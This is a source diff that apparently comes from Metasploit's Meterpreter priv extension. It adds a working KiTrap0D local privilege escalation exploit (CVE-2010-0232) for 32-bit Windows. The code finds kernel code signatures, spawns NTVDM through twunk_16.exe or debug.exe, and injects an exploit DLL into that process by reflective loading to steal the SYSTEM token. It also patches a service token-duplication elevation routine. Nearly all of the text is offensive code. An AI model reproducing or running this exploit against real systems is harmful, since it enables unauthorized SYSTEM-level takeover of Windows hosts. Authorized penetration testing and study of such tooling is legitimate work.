if( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 )
Version = MICROSOFT_WINDOWS_2003;
if( os.dwMajorVersion == 6 && os.dwMinorVersion == 0 )
Version = MICROSOFT_WINDOWS_VISTA;
if( os.dwMajorVersion == 6 && os.dwMinorVersion == 0 )
Version = MICROSOFT_WINDOWS_2008;
if( os.dwMajorVersion == 6 && os.dwMinorVersion == 1 )
Version = MICROSOFT_WINDOWS_7;
// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
NtQuerySystemInformation( SystemModuleInformation, &ModuleInfo, sizeof( ModuleInfo ), NULL );
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. NtQuerySystemInformation() => %s@%p", ModuleInfo.Module[0].ImageName, ModuleInfo.Module[0].Base );
// Load the kernel image specified
hKernel = LoadLibrary( strrchr( ModuleInfo.Module[0].ImageName, '\\' ) + 1 );
if( !hKernel )
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. LoadLibrary failed" );
// Parse image headers
*KernelBase = (DWORD)ModuleInfo.Module[0].Base;
ImageBase = (PBYTE)hKernel;
DosHeader = (PIMAGE_DOS_HEADER)ImageBase;
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
OptHeader = &PeHeader->OptionalHeader;
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Searching for kernel %u.%u signature: version %d...", os.dwMajorVersion, os.dwMinorVersion, Version );
for( x=0 ; ; x++ )
{
if( CodeSignatures[x].Version == -1 )
break;
if( CodeSignatures[x].Version != Version )
continue;
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Trying signature with index %d", x );
// Scan for the appropriate signature...
for( i = OptHeader->BaseOfCode ; i < OptHeader->SizeOfCode ; i++ )
{
if( memcmp( &ImageBase[i], CodeSignatures[x].Signature, sizeof CodeSignatures[x].Signature ) == 0 )
{
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Signature found %#x bytes from kernel base", i );
*OffsetFromBase = i;
FreeLibrary( hKernel );
return TRUE;
}
}
}
} while( 0 );
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Code not found, the signatures need to be updated for this kernel" );
if( hKernel )
FreeLibrary( hKernel );
return FALSE;
}
/*
* Grab a useful Handle to NTVDM.
*/
BOOL kitrap0d_spawn_ntvdm( char * cpProgram, HANDLE * hProcess )
{
DWORD dwResult = ERROR_SUCCESS;
PROCESS_INFORMATION pi = {0};
STARTUPINFO si = {0};
ULONG i = 0;
do
{
si.cb = sizeof( STARTUPINFO );
// Start the child process, which should invoke NTVDM...
if( !CreateProcess( cpProgram, cpProgram, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, &pi ) )
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess failed" );
dprintf( "[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess(\"%s\") => %u", cpProgram, pi.dwProcessId );
// Get more access
*hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_TERMINATE, FALSE, pi.dwProcessId );
if( *hProcess == NULL )
{
TerminateProcess( pi.hProcess, 'SPWN' );
CloseHandle( pi.hThread );
CloseHandle( pi.hProcess );
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess failed" );
}
dprintf( "[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess(%u) => %#x", pi.dwProcessId, *hProcess );
CloseHandle( pi.hThread );
CloseHandle( pi.hProcess );
} while( 0 );
if( dwResult == ERROR_SUCCESS )
return TRUE;
return FALSE;
}
/*
* Find a suitable exe to host the exploit in.
*/
BOOL elevate_via_exploit_getpath( char * cpOutput, DWORD dwOutputLength )
{
DWORD dwResult = ERROR_SUCCESS;
char cWinDir[MAX_PATH] = {0};
DWORD dwIndex = 0;
char * cpFiles[] = { "twunk_16.exe",
"debug.exe",
"system32\\debug.exe",
NULL };
do
{
if( !GetWindowsDirectory( cWinDir, MAX_PATH ) )
BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_getpath. GetWindowsDirectory failed" );
while( TRUE )
{
char * cpFileName = cpFiles[dwIndex];
if( !cpFileName )
break;
if( cWinDir[ strlen(cWinDir) - 1 ] == '\\' )
_snprintf( cpOutput, dwOutputLength, "%s%s", cWinDir, cpFileName );
else
_snprintf( cpOutput, dwOutputLength, "%s\\%s", cWinDir, cpFileName );
dprintf( "[KITRAP0D] elevate_via_exploit_getpath. Trying: %s", cpOutput );
if( GetFileAttributes( cpOutput ) != INVALID_FILE_ATTRIBUTES )
return TRUE;
memset( cpOutput, 0, dwOutputLength );
dwIndex++;
}
} while(0);
return FALSE;
}
/*
* (CVE-2010-0232)
*/
DWORD elevate_via_exploit_kitrap0d( Remote * remote, Packet * packet )
{
DWORD dwResult = ERROR_SUCCESS;
HANDLE hVdm = NULL;
HANDLE hThread = NULL;
LPVOID lpServiceBuffer = NULL;
LPVOID lpRemoteCommandLine = NULL;
char cWinDir[MAX_PATH] = {0};
char cVdmPath[MAX_PATH] = {0};
char cCommandLine[MAX_PATH] = {0};
DWORD dwExitCode = 0;
DWORD dwKernelBase = 0;
DWORD dwOffset = 0;
DWORD dwServiceLength = 0;
do
{
// only works on x86 systems...
if( elevate_getnativearch() != PROCESS_ARCH_X86 )
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. Unsuported platform", ERROR_BAD_ENVIRONMENT );
dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. Starting..." );
dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH );
lpServiceBuffer = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL );
if( !dwServiceLength || !lpServiceBuffer )
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. invalid arguments", ERROR_BAD_ARGUMENTS );
// 1. first get a file path to a suitable exe...
if( !elevate_via_exploit_getpath( (char *)&cVdmPath, MAX_PATH ) )
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. elevate_via_exploit_getpath failed", ERROR_FILE_NOT_FOUND );
// 2. Scan kernel image for the required code sequence, and find the base address...
if( !kitrap0d_scan_kernel( &dwKernelBase, &dwOffset ) )
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_scanforcodesignature failed", ERROR_INVALID_HANDLE );
// 3. Invoke the NTVDM subsystem, by launching any MS-DOS executable...
dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. Starting the NTVDM subsystem by launching MS-DOS executable" );
if( !kitrap0d_spawn_ntvdm( cVdmPath, &hVdm ) )
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_spawn_ntvdm failed", ERROR_INVALID_HANDLE );
// 4. Use RDI to inject the elevator dll into the remote NTVDM process...
// Passing in the parameters required by exploit thread via the LoadRemoteLibraryR inject technique.
_snprintf( cCommandLine, sizeof(cCommandLine), "/KITRAP0D /VDM_TARGET_PID:0x%08X /VDM_TARGET_KRN:0x%08X /VDM_TARGET_OFF:0x%08X\x00", GetCurrentProcessId(), dwKernelBase, dwOffset );
// alloc some space and write the commandline which we will pass to the injected dll...
lpRemoteCommandLine = VirtualAllocEx( hVdm, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );
if( !lpRemoteCommandLine )
BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. VirtualAllocEx failed" );
if( !WriteProcessMemory( hVdm, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine)+1, NULL ) )
BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. WriteProcessMemory failed" );
// inject the dll...
hThread = LoadRemoteLibraryR( hVdm, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine );
if( !hThread )
BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. LoadRemoteLibraryR failed" );
// 5. Wait for the thread to complete
dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. WaitForSingleObject(%#x, INFINITE);", hThread );
WaitForSingleObject( hThread, INFINITE );
// pass some information back via the exit code to indicate what happened.
GetExitCodeThread( hThread, &dwExitCode );
dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. GetExitCodeThread(%#x, %p); => %#x", hThread, &dwExitCode, dwExitCode );
switch( dwExitCode )
{
case 'VTIB':
// A data structure supplied to the kernel called VDM_TIB has to have a 'size' field that
// matches what the kernel expects.
// Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison.
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to find the size of the VDM_TIB structure", dwExitCode );
case 'NTAV':
// NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl()
// expects to be present.
// The exploit thread reports it didn't work.
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to map the virtual 8086 address space", dwExitCode );
case 'VDMC':
// NtVdmControl() must be initialised before you can begin vm86 execution, but it failed.
// It's entirely undocumented, so you'll have to use kd to step through it and find out why
// it's failing.
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports NtVdmControl() failed", dwExitCode );
case 'LPID':
// This exploit will try to transplant the token from PsInitialSystemProcess on to an
// unprivileged process owned by you.
// PsLookupProcessByProcessId() failed when trying to find your process.
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports that PsLookupProcessByProcessId() failed", dwExitCode );
case FALSE:
// This probably means LoadLibrary() failed, perhaps the exploit dll could not be found?
// Verify the vdmexploit.dll file exists, is readable and is in a suitable location.
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to load the injected dll", dwExitCode );
case 'w00t':
// This means the exploit payload was executed at ring0 and succeeded.
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports exploitation was successful", ERROR_SUCCESS );
default:
// Unknown error. Sorry, you're on your own.
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread returned an unexpected error. ", dwExitCode );
}
} while( 0 );
if( hVdm )
{
TerminateProcess( hVdm, 0 );
CloseHandle( hVdm );
}
if( hThread )
CloseHandle( hThread );
return dwResult;
}

View File

@ -0,0 +1,36 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_KITRAP0D_H
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_KITRAP0D_H
#define PAGE_SIZE 0x1000
enum { SystemModuleInformation = 11 };
typedef struct
{
ULONG Unknown1;
ULONG Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct
{
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef struct CodeSignature
{
UCHAR Signature[16];
DWORD Version;
};
DWORD elevate_via_exploit_kitrap0d( Remote * remote, Packet * packet );
#endif

View File

@ -50,7 +50,7 @@ BOOL elevate_priv( char * cpPrivilege, BOOL bEnable )
* service process from a non elevated admin.
*
* A current limitation in LoadRemoteLibraryR prevents this from working across
* architectures so we just filter out running this from an x64 process for now.
* architectures so we just filter out running this from an x64 platform for now.
*/
DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet )
{
@ -73,25 +73,21 @@ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet )
DWORD index = 0;
DWORD dwServicesReturned = 0;
DWORD dwExitCode = 0;
#ifdef _WIN64
DWORD dwMeterpreterArch = 2;
#else
DWORD dwMeterpreterArch = 1;
#endif
do
{
// only works on x86 systems for now...
if( elevate_getnativearch() != PROCESS_ARCH_X86 )
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_service_debug. Unsuported platform", ERROR_BAD_ENVIRONMENT );
os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );
if( !GetVersionEx( &os ) )
BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug: GetVersionEx failed" )
// filter out Windows NT4 or running this from native x64
if ( ( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 ) || dwMeterpreterArch == 2 )
{
SetLastError( ERROR_ACCESS_DENIED );
BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug: Not yet supported on this platform." )
}
// filter out Windows NT4
if ( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 )
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug: Not yet supported on this platform.", ERROR_BAD_ENVIRONMENT )
cpServiceName = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_NAME );
dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH );
@ -145,7 +141,7 @@ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet )
dprintf( "[ELEVATE] elevate_via_service_debug. trying [%d] lpDisplayName=%s, lpServiceName=%s, dwProcessId=%d", index, lpServices[index].lpDisplayName, lpServices[index].lpServiceName, status.dwProcessId );
_snprintf( cCommandLine, sizeof(cCommandLine), "/t:%d\x00", GetCurrentThreadId() );
_snprintf( cCommandLine, sizeof(cCommandLine), "/t:0x%08X\x00", GetCurrentThreadId() );
// alloc some space and write the commandline which we will pass to the injected dll...
lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );